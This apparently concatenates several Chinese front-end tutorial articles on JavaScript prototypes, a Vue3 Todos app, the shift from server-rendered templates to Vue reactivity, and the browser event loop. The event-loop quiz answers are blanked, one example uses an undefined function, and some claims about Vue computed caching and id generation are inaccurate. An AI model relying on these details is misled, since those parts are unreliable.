深入理解JavaScript原型系统核心

📖 目录


🎯 核心概念

四大基本原则

  1. 原则一:每个对象都有构造函数(constructor)

    • 指向构建该对象或实例的函数
  2. 原则二:只有函数对象才有prototype属性

    • 非函数对象没有prototype属性
    • 实例只有__proto__属性
    • 两者指向同一个对象(函数的原型对象)
  3. 原则三:Function函数是所有函数的构造函数

    • 包括它自己
    • 代码中声明的所有函数都是Function的实例
  4. 原则四:Object也是函数

    • 所以Object也是Function函数的实例

实例,函数,对象,原型对象,构造函数,关系总览图

image.png

🔍 非函数对象分类

  • 实例对象,const person = new Foo(),person就是实例对象
  • 普通对象({}new Object()
  • 内置非函数对象实例

🔄 显式原型与隐式原型

对象分类

  • 函数对象:拥有prototype属性
  • 非函数对象:只有__proto__属性

相同点

  • 都指向同一个原型对象

📝 示例代码

function Person(){}
const person = new Person();

console.log("Person.prototype指向:", Person.prototype)
console.log("person.__proto__指向", person.__proto__)

🖼️ 执行结果

显式原型

隐式原型


🎯 构造函数的指向

默认情况

function Person(){}
const person = new Person();

console.log("Person.prototype.constructor指向", Person.prototype.constructor)
// 输出:[Function: Person]

执行结果

默认构造函数指向

默认构造函数指向详情


修改原型对象后

function Person(){}
const person = new Person();

Person.prototype = new foo();  // 修改原型对象

console.log("Person.prototype.constructor指向", Person.prototype.constructor)
// 输出:[Function: foo]

执行结果

修改后构造函数指向

修改后构造函数指向详情


📊 核心原理说明

解释

Person.prototype被当作函数foo的实例,继承了foo函数(此篇不展开继承详解)

总结规律

  • 每个原型对象或实例都有.constructor属性
  • 实例通过原型链查找constructor
  • 原型对象默认指向自身的函数(如果不是其他函数的实例)

查找过程示例

// Person.prototype被当作实例时
Person.prototype.__proto__ → foo.prototypefoo()

🖼️ 可视化关系图

三者关系图

原型关系图


🔬 代码验证

function Person(){}

// 创建新的原型对象
Person.prototype = {
    name: "杨",
    age: "18",
    histype: "sleep"
}

// 添加方法
Person.prototype.print = function(){
    console.log("你好我是原型对象");
}

// 创建实例
const person01 = new Person();
const person02 = new Person();

// 验证指向
console.log("Person.prototype指向:", Person.prototype)
console.log("person01.__proto__指向", person01.__proto__)
console.log("person02.__proto__指向", person02.__proto__)
console.log("Person.prototype.constructor指向", Person.prototype.constructor)

执行结果

代码验证结果


⚠️ 特别说明

关键细节

创建新对象时,Person.prototype.constructor指向Object,因为Person.prototype成了Object的实例。

对比情况

  • 创建新对象时Person.prototype.constructorObject
  • 未创建新对象时Person.prototype.constructorPerson

示意图

构造函数指向对比

构造函数指向对比详情


Function和Object

小故事

从前有个力大无穷的大力神,能举起任何东西,有一天,小A在路上和这个大力神相遇了。

大力神:小子,我可是力大无穷的大力神,我能举起任何东西,你信不信?

小A:呦呦呦,还大力神,你说你能举起任何东西,那你能把你自己抬起来吗?

...

  • Function是所有函数的加工厂,你在代码声明的所有函数都是Function的实例,包括Function函数本身,Object也是函数,所以它也是Functiod的实例

  • Function就是这样的大力神,而且是可以把自己抬起来的大力神,这听起来比较扯,但是这就是事实,请看VCR:

function Person (){}

const person01 = new Person();

console.log("Function.__proto__指向",Function.__proto__)//Function.__proto__指向 [Function (anonymous)] Object
console.log("Function.prototype指向",Function.prototype)//Function.prototype指向 [Function (anonymous)] Object
console.log("Function.__proto__ == Function.prototype???",Function.__proto__ == Function.prototype)
//Function.__proto__ == Function.prototype??? true

image.png

image.png

Object 在 JavaScript 中扮演三重角色:

  • 构造函数:用于创建对象

  • 命名空间:提供一系列静态方法用于对象操作

  • 原型终点:Object.prototype 是所有原型链的终点,在往上没有了,值==null

请看VCR:

function Person (){};

const persoon01 = new Person();
const obj = {};//通过对象字面量{}创建obj实例
const obj1 = new Object();//通过构造函数new Object()创建obj1实例
const obj2 = Object.create(Object.prototype);//通过委托创建,或者叫原型创建,来创建obj2实例

console.log("Person.prototype.__proto__指向",Person.prototype.__proto__);
//Person.prototype.__proto__指向 [Object: null prototype] {}

console.log("Function.prototype.__proto__指向",Function.prototype.__proto__)
//Function.prototype.__proto__指向 [Object: null prototype] {}

console.log("通过对象字面量{}创建的obj实例,obj.__proto__指向",obj.__proto__);
//通过对象字面量{}创建的obj实例,obj.__proto__指向 [Object: null prototype] {}

console.log("通过构造函数new Object()创建obj1实例,指向",obj1.__proto__);
//通过构造函数new Object()创建obj1实例,指向 [Object: null prototype] {}

console.log("通过委托创建,或者叫原型创建,来创建obj2实例,指向",obj2.__proto__);
//通过委托创建,或者叫原型创建,来创建obj2实例,指向 [Object: null prototype] {}

image.png

image.png

Function和Object的关系

  • 相互依赖的循环引用
    • Object 是 Function 的实例(构造函数层面)

    • Function 是 Object 的子类(原型继承层面)

    • 这是 JavaScript 的自举(Bootstrap)机制

根据关系总览图,我们可以看到,Function和Object,它们两形成了一个闭环,将所有的函数和对象都包裹在这个闭环里

📋 JavaScript 原型系统核心概念表

概念 描述 示例 特殊说明
prototype 函数特有,指向原型对象 Person.prototype 只有函数对象才有此属性
proto 所有对象都有,指向构造函数的原型 person.__proto__ 实际应使用 Object.getPrototypeOf()
constructor 指向创建该对象的构造函数 Person.prototype.constructor 可被修改,查找时沿原型链进行
原型链查找 通过 __proto__ 逐级向上查找 person.__proto__.__proto__ 终点为 null
Function 所有函数的构造函数 Function.prototype Function.__proto__ === Function.prototype
Object 所有对象的基类 Object.prototype 原型链终点,Object.prototype.__proto__ === null

🔍 补充说明

prototype 补充

  • 函数的 prototype 属性默认包含 constructor 属性指向函数自身
  • 用于实现基于原型的继承

proto 补充

  • 现在更推荐使用 Object.getPrototypeOf(obj)Object.setPrototypeOf(obj, proto)
  • __proto__ 是访问器属性,不是数据属性

constructor 补充

  • constructor 属性可以通过原型链查找
  • 示例:person.constructor === Person(实际查找的是 person.__proto__.constructor

原型链查找补充

  • 当访问对象属性时,如果对象自身没有,会沿着原型链向上查找
  • 直到找到该属性或到达原型链终点 null

Function 补充

  • 是所有函数的构造函数,包括内置构造函数(Object、Array等)和自定义函数
  • 自身也是函数,所以 Function.__proto__ === Function.prototype

Object 补充

  • Object.prototype 是所有原型链的最终原型对象
  • 通过 Object.create(null) 可以创建没有原型的"纯净对象"

💡 记忆口诀

  • 函数看prototype,实例看__proto__
  • constructor找根源,原型链上寻答案
  • Object是终点,Function是关键

结语:

看完这篇文章,你应该可以读懂上面的关系总览图了,望学习愉快!!!

从原生 JS 到 Vue3 Composition API:手把手教你用现代 Vue 写一个优雅的 Todos 任务清单

从原生 JS 到 Vue3 Composition API:手把手教你用现代 Vue 写一个优雅的 Todos 任务清单

大家好,今天用一个最经典的 Todos 应用,来带大家彻底搞清楚:

「为什么我们不再手动操作 DOM?Vue 到底替我们做了什么?」

很多初学者看完 Vue 文档后,会觉得「好像很简单啊」,但真正自己写的时候,又会不自觉地回到原来的命令式写法:

document.getElementById('app').innerHTML = xxx

这篇文章将通过一个逐步演进的过程,让你从「机械式 DOM 操作」进化到「数据驱动」的现代 Vue3 开发思维,彻底领悟响应式编程的魅力。

一、原生 JS 写 Todos:痛并痛苦着

先来看看传统写法(很多人还在这么写):

<h2 id="app"></h2>
<input type="text" id="todo-input">

<script>
  const app = document.getElementById('app');
  const todoInput = document.getElementById('todo-input');
  
  todoInput.addEventListener('change', function(event) {
    const todo = event.target.value.trim();
    if (!todo) return;
    app.innerHTML = todo; // 只能显示最后一个!
  })
</script>

这代码能跑,但问题一大堆:

  • 只能显示一条任务(innerHTML 被覆盖)
  • 要实现多条任务、删除、完成状态……需要写几百行 DOM 操作
  • 一旦需求变动,改起来就是灾难

这就是典型的命令式编程:我们的大脑一直在想「我要先找到哪个元素,然后怎么改它」。

而 Vue 的核心思想是:别管 DOM,你只管数据就行。

二、Vue3 + Composition API 完整实现

03998dfb2be956b19c909a672ec27e78.jpg

<!-- App.vue -->
<script setup>
import { ref, computed } from 'vue'

// 1. 响应式数据(重点!)
const title = ref('') // 输入框内容
const todos = ref([
  { id: 1, title: '吃饭', done: false },
  { id: 2, title: '睡觉', done: true }
])

// 2. 计算属性:统计未完成任务数量(带缓存!)
const active = computed(() => {
  return todos.value.filter(todo => !todo.done).length
})

// 3. 添加任务
const addTodo = () => {
  if (!title.value.trim()) return
  
  todos.value.push({
    id: Date.now(), // 推荐用时间戳,比 Math.random() 更可靠
    title: title.value.trim(),
    done: false
  })
  title.value = '' // 清空输入框
}

// 4. 高级技巧:全选/全不选(computed 的 getter + setter)
const allDone = computed({
  get() {
    if (todos.value.length === 0) return false
    return todos.value.every(todo => todo.done)
  },
  set(value) {
    todos.value.forEach(todo => {
      todo.done = value
    })
  }
})
</script>

<template>
  <div class="todos">
    <h2>我的任务清单</h2>
    
    <input 
      type="text" 
      v-model="title" 
      @keydown.enter="addTodo"
      placeholder="今天要做什么?按回车添加"
      class="input"
    />

    <!-- 任务列表 -->
    <ul v-if="todos.length" class="todo-list">
      <li v-for="todo in todos" :key="todo.id" class="todo-item">
        <input type="checkbox" v-model="todo.done">
        <span :class="{ done: todo.done }">{{ todo.title }}</span>
      </li>
    </ul>
    
    <div v-else class="empty">
      🎉 暂无任务,休息一下吧~
    </div>

    <!-- 统计 + 全选 -->
    <div class="footer">
      <label>
        <input type="checkbox" v-model="allDone">
        全选
      </label>
      <span>未完成:{{ active }} / 总数:{{ todos.length }}</span>
    </div>
  </div>
</template>

<style scoped>
.done{
  color: gray;
  text-decoration: line-through;
}
</style>

三、核心知识点深度拆解(建议反复看)

1. ref() 是如何做到响应式的?

const title = ref('')

这句话背后发生了什么?

  • Vue 在内部为 title 创建了一个响应式对象
  • 真正的数据存在 title.value 中
  • 当你读取 title.value 时,Vue 会记录「当前组件依赖了这个数据」
  • 当你修改 title.value 时,Vue 知道「哪些组件需要重新渲染」,自动更新 DOM

这就叫「依赖收集 + 自动更新」,你完全不用管 DOM!

2. 为什么 computed 比普通函数香?

// 普通函数写法(每次都会计算!)
const activeCount = () => todos.value.filter(...).length

// computed 写法(只有依赖变化才重新计算)
const active = computed(() => todos.value.filter(...).length)

性能差异巨大!当你有 1000 条任务时,普通函数会在每次渲染都执行 1000 次过滤,而 computed 可能只执行一次。

3. computed 的 getter + setter 神技(90%的人不知道)

const allDone = computed({
  get() {
    // 如果todos为空,返回false
    if (todos.value.length === 0) return false;
    // 如果所有todo都完成,返回true
    return todos.value.every(todo => todo.done);
  },
  set(value) {
    // 设置所有todo的done状态
    todos.value.forEach(todo => {
      todo.done = value;
    });
  }
})

这才是真正的「双向计算属性」!点击全选框时,v-model 会自动调用 setter,把所有任务的 done 状态同步修改。

4. v-for 一定要写 :key!不然会出大问题

<li v-for="todo in todos" :key="todo.id">

不写 key 的后果:

  • Vue 无法准确判断哪条数据变了,会导致整张列表重绘
  • 输入框焦点丢失、动画错乱、状态错位

推荐 key 使用:

id: Date.now() + Math.random() // 更稳妥
// 或使用 uuid 库

5. v-model 本质是 :value + @input 的语法糖

Vue 的双向绑定(v-model) = 数据 → 视图 的绑定 + 视图 → 数据的绑定

它让「数据」和「表单元素的值」始终保持同步,你改数据,界面自动更新;你改输入框,数据也自动更新。

<input v-model="title">
<!-- 等价于 -->
<input :value="title" @input="title = $event.target.value">

拆解一下:

方向 对应指令 作用
数据 → 视图 :value="msg" 把 msg 的值渲染到 input 上
视图 → 数据 @input="msg = $event.target.value" 用户输入时,把值重新赋值给 msg

而 @keydown.enter 是 Vue 提供的键位修饰符,超级好用:

@keydown.enter="addTodo"
@keydown.ctrl.enter="addTodo"
@click.prevent="submit" <!-- 阻止默认行为 -->

四、常见坑位避雷指南(血泪经验)

场景 错误写法 正确写法 说明
添加任务后输入框不清空 没重置 title.value title.value = '' v-model 是双向绑定,必须手动清空
全选状态不同步 用普通变量控制 用 computed({get,set}) 普通变量无法响应所有任务的变化
key 使用 index :key="index" :key="todo.id" index 会导致状态错乱
id 使用 Math.random() id: Math.random() id: Date.now() 可能重复,尤其快速添加时
computed 忘记 .value return todos.filter(...) return todos.value.filter(...) script setup 中 ref 要加 .value

五、细节知识点

fc962ce0cd306c49bc54248e80437e81.jpg

computed 是如何做到「又快又省」的?

一句话结论:
computed 只有在它的「依赖」真正发生变化时,才会重新计算一次,其他所有时间直接返回缓存结果。

这才是它比普通方法快 10~100 倍的根本原因!

一、最直观的对比实验
<script setup>
import { ref, computed } from 'vue'

const a = ref(1)
const b = ref(10)

// 场景1:普通方法(每次渲染都重新算)
const sum1 = () => {
  console.log('普通方法被调用了') 
  return a.value + b.value
}

// 场景2:computed(只有依赖变了才算)
const sum2 = computed(() => {
  console.log('computed 被调用了')
  return a.value + b.value
})
</script>

<template>
  <p>普通方法:{{ sum1() }}</p>
  <p>computed:{{ sum2 }}</p>
  <button @click="a++">a + 1</button>
  <button @click="b++">b + 1</button>
</template>

你会看到:

操作 普通方法打印几次 computed 打印几次
页面首次渲染 1 次 1 次
点击 a++ 再次打印 再次打印
点击 b++ 再次打印 再次打印
页面任意地方触发渲染(比如父组件更新) 又打印! 不打印!(直接用缓存)

这就是「缓存」带来的性能飞跃!

Vue 内部到底是怎么实现这个缓存的?(底层逻辑)

Vue 用了一个经典的「脏检查 + 依赖收集」机制(Vue3 用 Proxy 更优雅,但原理一致):

步骤 发生了什么
1. 创建 computed Vue 创建一个「计算属性对象」,里面有个 value(缓存值)和 dirty(是否脏)标志」
2. 第一次读取 computed 执行计算函数 → 同时收集所有用到的响应式数据(a、b、todos.length 等)作为依赖
3. 把依赖和这个 computed 关联起来 a.effect.deps.push(computed)
4. 依赖变化时 Vue 把这个 computed 的 dirty 标志设为 true(表示缓存失效了)
5. 下一次读取时 发现 dirty = true → 重新执行计算函数 → 更新缓存 → dirty = false
6. 之后再读取 dirty = false → 直接返回缓存值,不执行函数

图解:

首次读取 computed
     ↓
执行计算函数 → 依赖收集(记录依赖了 a 和 b)
     ↓
把结果缓存起来,dirty = false

a.value = 999(依赖变化)
     ↓
Vue 自动把所有依赖了 a 的 computed 的 dirty 设为 true

下次读取 computed
     ↓
发现 dirty = true → 重新计算 → 更新缓存 → dirty = false
哪些情况会打破缓存?(常见坑)
情况 是否重新计算 说明
依赖的 ref/reactive 变了 正常触发
依赖的普通变量(let num = 1) 不是响应式的!永远只算一次(大坑!)
依赖了 props props 也是响应式的
依赖了 store.state(Pinia/Vuex) store 是响应式的
依赖了 route.params $route 是响应式的(Vue Router 注入)
依赖了 window.innerWidth 不是响应式!要配合 watchEffectScope 手动处理
实战避雷清单
错误写法 正确写法 后果
computed(() => Date.now()) 改成普通方法或用 ref(new Date()) + watch 每一次读取都重新计算,缓存失效
computed(() => Math.random()) 同上 永远不缓存,性能灾难
computed(() => props.list.length) 完全正确 推荐写法
computed(() => JSON.parse(JSON.stringify(todos.value))) 不要这么做,深拷贝太重 浪费性能
六、一句话记住

computed 的高性能秘诀只有 8 个字:
「依赖不变,绝不重新计算」

现在你再也不用担心「用 computed 会不会影响性能」了,反而应该大胆用!
因为它比你手写任何缓存逻辑都要聪明、都要快!

六、总结:从「操作 DOM」到「操作数据」的思维跃迁

传统 JS 思维 Vue 响应式思维
先找元素 → 再改 innerHTML 只改数据 → Vue 自动更新 DOM
手动 addEventListener 用 v-model / @event 声明式绑定
手动计算未完成数量 用 computed 自动计算 + 缓存
全选要遍历 DOM 用 computed setter 一行搞定

当你真正理解了「数据驱动视图」后,你会发现:

写 Vue 代码不再是「怎么操作页面」,而是「数据怎么变化。

这才是现代前端开发的正确姿势!

从后端拼模板到 Vue 响应式:前端界面的三次进化

从后端拼模板到 Vue 响应式:一场前端界面的进化史

当开始学习前端开发时,很多人都会遇到一个共同的困惑:
为什么有的项目让后端直接返回 HTML?

为什么后来大家都开始使用 fetch 拉取 JSON?

而现在又流行 Vue 的响应式界面,几乎不再手动操作 DOM?

这些不同的方式看似杂乱,其实背后隐藏着一条非常清晰的技术发展路径。后端渲染 → 前端渲染 → 响应式渲染它们不是独立出现的,而是前端能力逐步增强、分工越来越明确后的必然产物。

1. 🌱 第一阶段:后端拼模板 —— “厨师把菜做好端到你桌上”

让我们从最初的 Node.js 服务器代码说起。

    const http = require("http");// Node.js 内置模块,用于创建 HTTP 服务器或客户端
const url = require("url");// 用于解析 URL

const users = [
  { id: 1, name: '张三', email: '123@qq.com' },
  { id: 2, name: '李四', email: '1232@qq.com'},
  { id: 3, name: '王五', email: '121@qq.com' }
];

// 将 `users` 数组转换为 HTML 表格字符串
function generateUserHTML(users){
  const userRows = users.map(user => `
    <tr>
      <td>${user.id}</td>
      <td>${user.name}</td>
      <td>${user.email}</td>
    </tr>
  `).join('');

  return `
    <html>
      <body>
        <h1>Users</h1>
        <table>
          <tbody>${userRows}</tbody>
        </table>
      </body>
    </html>
  `;
}

// 创建一个 HTTP 服务器,传入请求处理函数
const server = http.createServer((req, res) => {
  if(req.url === '/' || req.url === '/users'){
    res.setHeader('Content-Type', 'text/html;charset=utf-8');
    res.end(generateUserHTML(users));
  }
});

//  服务器监听本地 1314 端口。
server.listen(1314);

访问1314端口,得到的结果:

image.png 这段代码非常典型,体现了早期 Web 的模式:

  • 用户访问 /users
  • 后端读取数据
  • 后端拼出 HTML
  • 后端把完整页面返回给浏览器

你可以把它理解成:

用户去餐馆点菜 → 厨房(后端)把菜做好 → 端到你桌上(浏览器)

整个过程中,浏览器不参与任何加工,它只是“展示已经做好的菜”。


🔍 后端拼模板的特点

特点 说明
后端掌控视图 HTML 是后端生成的
数据和页面耦合在一起 改数据就要改 HTML 结构
刷新页面获取新数据 无法局部更新
用户体验一般 交互不够流畅

这种方式在早期 Web 非常普遍,就是典型的 MVC:

  • M(Model): 数据
  • V(View): HTML 模板
  • C(Controller): 拼 HTML,返回给浏览器

“后端拼模板”就像饭店里:

  • 厨师(后端)把所有食材(数据)做成菜(HTML)
  • 顾客(浏览器)只能被动接受

这当然能吃饱,但吃得不灵活。

为了吃一个小菜,还要大厨重新做一桌菜!

这就导致页面每个小变化都得刷新整个页面。


2. 🌿 第二阶段:前后端分离 —— “厨师只给食材,顾客自己配菜”

随着前端能力提升,人们发现:

让后端拼页面太麻烦了。

于是产生了 前后端分离


🔸 后端从“做菜”变成“送食材”(只返回 JSON)

{
  "users": [
    { "id": 1, "name": "张三", "email": "123@qq.com" },
    { "id": 2, "name": "李四", "email": "1232@qq.com" },
    { "id": 3, "name": "王五", "email": "121@qq.com" }
  ]
}

JSON Server 会把它变成一个 API:

GET http://localhost:3000/users

访问该端口得到:

image.png

访问时返回纯数据,而不再返回 HTML。


🔸 前端浏览器接管“配菜”(JS 渲染 DOM)

<script>
fetch('http://localhost:3000/users')// 使用浏览器内置的 `fetch`() API 发起 HTTP 请求。
  .then(res => res.json())//  解析响应为 JSON
  // 渲染数据到页面
  .then(data => {
    const tbody = document.querySelector('tbody');
    tbody.innerHTML = data.map(user => `
      <tr>
        <td>${user.id}</td>
        <td>${user.name}</td>
        <td>${user.email}</td>
      </tr>
    `).join('');
  });
</script>

浏览器自己:

  1. 发送 fetch 请求
  2. 拿到 JSON
  3. 用 JS 拼 HTML
  4. 填入页面

image.png


这就好比:

  • 后端: 不做菜,只把干净的食材准备好(纯 JSON)
  • 前端: 自己按照 UI 要求把菜炒出来(DOM 操作)
  • 双方分工明确,互不干扰

这就是现代 Web 最主流的模式 —— 前后端分离


🚧 但问题来了:DOM 编程太痛苦了

你看这段代码:

tbody.innerHTML = data.map(user => `
  <tr>...</tr>
`).join('');

是不是很像在手工组装乐高积木?

DOM 操作会遇到几个痛点:

  • 代码又臭又长
  • 更新数据要重新操作 DOM
  • 状态多了之后难以维护
  • 页面结构和业务逻辑混在一起

前端工程师开始苦恼:

有没有一种方式,让页面自动根据数据变化?

于是,Vue、React、Angular 出现了。


3. 🌳 第三阶段:Vue 响应式数据驱动 —— “只要食材变化,餐盘自动变化”

Vue 的核心理念:

ref 响应式数据,将数据包装成响应式对象
界面由 {{}} v-for 进行数据驱动
专注于业务,数据的变化而不是 DOM

这是前端的终极模式 —— 响应式渲染


🔥 Vue 的思想

Vue 做了三件事:

  1. 把变量变成“会被追踪的数据”(ref / reactive)
  2. 把 HTML 变成“模板”(用 {{ }}、v-for)
  3. 让数据变化自动修改 DOM

你只需要像写伪代码一样描述业务:

<script setup>
import {
  ref,
  onMounted // 挂载之后
} from 'vue'
const users = ref([]);

// 在挂载后获取数据

onMounted(() =>{
   fetch('http://localhost:3000/users')
   .then(res => res.json())
   .then(data => {
    users.value = data;
   })
})
</script>

而页面模板:

<tr v-for="u in users" :key="u.id">
  <td>{{ u.id }}</td>
  <td>{{ u.name }}</td>
  <td>{{ u.email }}</td>
</tr>

得到的结果为:

image.png 你不再需要:

  • querySelector
  • innerHTML
  • DOM 操作

Vue 会自己完成这些工作。


如果 传统 DOM:

你要把所有食材手动摆到盘子里。

那么Vue:

你只需要放食材到盘子里(修改数据),
餐盘的摆盘会自动变化(界面自动更新)。

比如你修改了数组:

users.value.push({ id: 4, name: "新用户", email: "xxx@qq.com" });

页面会自动新增一行。

你删除:

users.value.splice(1, 1);

页面自动少一行。

你完全不用动 DOM。


4. 🌲 三个阶段的对比

阶段 数据从哪里来? 谁渲染界面? 技术特征
1. 后端渲染(server.js) 后端 后端拼 HTML 模板字符串、MVC
2. 前端渲染(index.html + db.json) API / JSON 前端 JS DOM Fetch、innerHTML
3. Vue 响应式渲染 API / JSON Vue 自动渲染 ref、{{}}、v-for

本质是渲染责任的迁移:

后端渲染 → 前端手动渲染 → 前端自动渲染

最终目标只有一个:

让开发者把时间花在业务逻辑,而不是重复性 DOM 操作上。


5. 🍁 为什么现代开发必须用前后端分离 + Vue?

最后,让我们用一句最通俗的话总结:

后端拼页面像“饭店厨师包办一切”,效率低。

前端手动拼 DOM 像“自己做饭”,累到爆。

Vue 像“智能厨房”,你只需要准备食材(数据)。


Vue 的三大优势

1)极大减少开发成本

业务逻辑变简单:

users.value = newUsers;

就够了,UI 自动更新。

2)更适合大型项目

  • 组件化
  • 模块化
  • 状态集中管理
  • 可维护性高

3)用户体验更好

  • 页面不刷新
  • 更新局部
  • 响应迅速

6. 🌏 文章总结:从“厨房”看前端的进化历史

最终,我们回到开头的类比:

阶段 类比
第一阶段:后端拼模板 厨房(后端)做好所有菜,直接端给你
第二阶段:前端渲染 厨房只提供食材,你自己炒
第三阶段:Vue 响应式 智能厨房:只要食材变,菜自动做好

前端技术每一次进化,都围绕同一个核心目标:

让开发者更轻松,让用户体验更好。

而你上传的代码正好构成了一个完美的演示链路:
从最原始的后端拼模板,到 fetch DOM 渲染,再到 Vue 响应式渲染。

理解了这三步,你就理解了整个现代前端技术的发展脉络。


彻底讲透浏览器的事件循环,吊打面试官

第一层:幼儿园阶段 —— 为什么要有 Event Loop?

首先要明白一个铁律JavaScript 在浏览器中是单线程的

想象一下:你是一家餐厅唯一的厨师(主线程)。

  1. 客人点了一份炒饭(同步代码),你马上炒。

  2. 客人点了一份需要炖3小时的汤(耗时任务,如网络请求、定时器)。

如果你只有这一个线程,还要死等汤炖好才能炒下一个菜,那餐厅早就倒闭了(页面卡死)。

所以,浏览器给你配了几个服务员(Web APIs,如定时器模块、网络模块)。

  • 厨师(主线程) :只负责炒菜(执行 JS 代码)。

  • 服务员(Web APIs) :负责看火炖汤(计时、HTTP请求)。汤好了,服务员把“汤好了”这个纸条贴在厨房的**任务板(队列)**上。

  • Event Loop(事件循环) :就是厨师的一个习惯——炒完手里的菜,就去看看任务板上有没有新纸条。如果有,拿下来处理。

总结:Event Loop 是单线程 JS 实现异步非阻塞的核心机制。


第二层:小学阶段 —— 宏任务与微任务的分类

任务板上的纸条分两种,优先级不同。面试官最爱问这个分类。

1. 宏任务(Macrotask / Task)

这就像是新的客人进店。每次处理完一个宏任务,厨师可能需要休息一下(浏览器渲染页面),然后再接下一个。

  • 常见的

  •  script  (整体代码 script 标签)

  •  setTimeout  /  setInterval 

  •  setImmediate  (Node.js/IE 环境)

  • UI 渲染 / I/O

  •  postMessage 

2. 微任务(Microtask)

这就像是当前客人的临时加单。客人说:“我要加个荷包蛋”。厨师必须在服务下一个客人之前,先把这个客人的加单做完。不能让当前客人等着你去服务别人。

  • 常见的

  •  Promise.then  /  .catch  /  .finally 

  •  process.nextTick  (Node.js,优先级最高)

  •  MutationObserver  (监听 DOM 变化)

  •  queueMicrotask 


第三层:中学阶段 —— 完整的执行流程(必背)

这是大多数面试题的解题公式。请背诵以下流程:

  1. 执行同步代码(这其实是第一个宏任务)。

  2. 同步代码执行完毕,Call Stack(调用栈)清空

  3. 检查微任务队列

  • 如果有,依次执行所有微任务,直到队列清空。

  • 注意:如果在执行微任务时又产生了新的微任务,会插队到队尾,本轮必须全部执行完,绝不留到下一轮。

  1. 尝试渲染 UI(浏览器会根据屏幕刷新率决定是否需要渲染,通常 16ms 一次)。

  2. 取出下一个宏任务执行。

  3. 回到第 1 步,循环往复。

口诀:同步主线程 -> 清空微任务 -> (尝试渲染) -> 下一个宏任务


第四层:大学阶段 —— 常见坑点实战(初级面试题)

这时候我们来看代码,这里有两个经典坑。

坑点 1:Promise 的构造函数是同步的

面试官常考:

new Promise((resolve) => {
    console.log(1); // 同步执行!
    resolve();
}).then(() => {
    console.log(2); // 微任务
});
console.log(3);

JavaScriptCopy

解析:Promise 构造函数里的代码会立即执行。只有  .then  里面的才是微任务。 输出:  ->   ->  

坑点 2:async/await 的阻塞

async function async1() {
    console.log('A');
    await async2(); // 关键点
    console.log('B');
}
async function async2() {
    console.log('C');
}
async1();
console.log('D');

JavaScriptCopy

解析

  1.  async1  开始,打印  

  2. 执行  async2 ,打印  

  3. 关键:遇到  await ,浏览器会把  await  后面的代码( console.log('B') )放到微任务队列里,然后跳出  async1  函数,继续执行外部的同步代码。

  4. 打印  

  5. 同步结束,清空微任务,打印  输出:  ->   ->   ->  


第五层:博士阶段 —— 深入进阶(吊打面试官专用)

1. 为什么要有微任务?(设计哲学)

你可能知道微任务比宏任务快,但为什么? 本质原因:为了确保在下次渲染之前,更新应用的状态。 如果微任务是宏任务,那么 数据更新 -> 宏任务队列 -> 渲染 -> 宏任务执行 。这会导致页面先渲染一次旧数据,然后再执行逻辑更新,导致闪屏。 微任务保证了: 数据更新 -> 微任务(更新更多状态) -> 渲染 。所有的状态变更都在同一帧内完成。

2. 微任务的死循环(炸掉浏览器)

因为微任务必须清空才能进入下一个阶段。

function loop() {
    Promise.resolve().then(loop);
}
loop();

JavaScriptCopy

后果:这会阻塞主线程!浏览器页面会卡死(点击无反应),且永远不会进行 UI 渲染。 对比:如果是  setTimeout(loop, 0)  无限递归,虽然 CPU 占用高,但浏览器依然可以响应点击,依然可以渲染页面。因为宏任务之间会给浏览器“喘息”的机会。

3. 页面渲染的时机(DOM 更新是异步的吗?)

这是一个巨大的误区。JS 修改 DOM 是同步的(内存里的 DOM 树立刻变了),但视觉上的渲染是异步的。

document.body.style.background = 'red';
document.body.style.background = 'blue';
document.body.style.background = 'black';

JavaScriptCopy

浏览器很聪明,它不会画红、画蓝、再画黑。它会等 JS 执行完,发现最后是黑色,直接画黑色。

必杀技问题:如何在宏任务执行前强制渲染? 如果你想让用户看到红色,然后再变黑,普通的  setTimeout(..., 0)  是不稳定的。 标准做法是使用  requestAnimationFrame  或者 强制回流(Reflow) (比如读取  offsetHeight )。

4. 真正的深坑:事件冒泡中的微任务顺序

这是极少数人知道的细节。

场景:父子元素都绑定点击事件。

// HTML: <div id="outer"><div id="inner">Click me</div></div>


const outer = document.querySelector('#outer');
const inner = document.querySelector('#inner');


function onClick() {
    console.log('click');
    Promise.resolve().then(() => console.log('promise'));
}


outer.addEventListener('click', onClick);
inner.addEventListener('click', onClick);

JavaScriptCopy

情况 A:用户点击屏幕

  1. 触发 inner 点击 -> 打印  click  -> 微任务入队。

  2. 栈空了! (在冒泡到 outer 之前,当前回调结束了)。

  3. 检查微任务 -> 打印  promise 

  4. 冒泡到 outer -> 打印  click  -> 微任务入队。

  5. 回调结束 -> 检查微任务 -> 打印  promise 结果: click  ->  promise  ->  click  ->  promise 

情况 B:JS 代码触发  inner.click()  

  1.  inner.click()  这是一个同步函数!

  2. 触发 inner 回调 -> 打印  click  -> 微任务入队。

  3. 栈没空! (因为  inner.click()  还在栈底等着冒泡结束)。

  4. 不能执行微任务

  5. 冒泡到 outer -> 打印  click  -> 微任务入队。

  6.  inner.click()  执行完毕,栈空。

  7. 清空微任务(此时队列里有两个 promise)。 结果: click  ->  click  ->  promise  ->  promise 

面试杀招:指出用户交互触发程序触发在 Event Loop 中的堆栈状态不同,导致微任务执行时机不同。


第六层:上帝视角 —— 浏览器的一帧(The Frame)

要理解 React 为什么要搞 Concurrent Mode,首先要看懂**“一帧”**里到底发生了什么。

大多数屏幕是 60Hz,意味着浏览器只有 16.6ms 的时间来完成这一帧的所有工作。如果超过这个时间,页面就会掉帧(卡顿)。

完整的一帧流程(标准管线):

  1. Input Events: 处理阻塞的输入事件(Touch, Wheel)。

  2. JS (Macro/Micro) : 执行定时器、JS 逻辑。这里是性能瓶颈的高发区

  3. Begin Frame: 每一帧开始的信号。

  4. requestAnimationFrame (rAF) : 关键点。这是 JS 在渲染前最后修改 DOM 的机会。

  5. Layout (重排) : 计算元素位置(盒模型)。

  6. Paint (重绘) : 填充像素。

  7. Idle Period (空闲时间) : 如果上面所有事情做完还没到 16.6ms,剩下的时间就是 Idle。

关键冲突: Event Loop 的微任务(Microtasks)是在 JS 执行完立刻执行的。如果微任务队列太长,或者 JS 宏任务太久,直接把 16.6ms 撑爆了,浏览器就没机会去执行 Layout 和 Paint。 结果就是:页面卡死。


第七层:React 18 Concurrent Mode —— 时间切片(Time Slicing)

React 15(Stack Reconciler)是递归更新,一旦开始 diff 一棵大树,必须一口气做完。如果这棵树需要 100ms 计算,那这 100ms 内主线程被锁死,用户输入无响应。

React 18(Fiber 架构)引入了 可中断渲染

1. 核心原理:把“一口气”变成“喘口气”

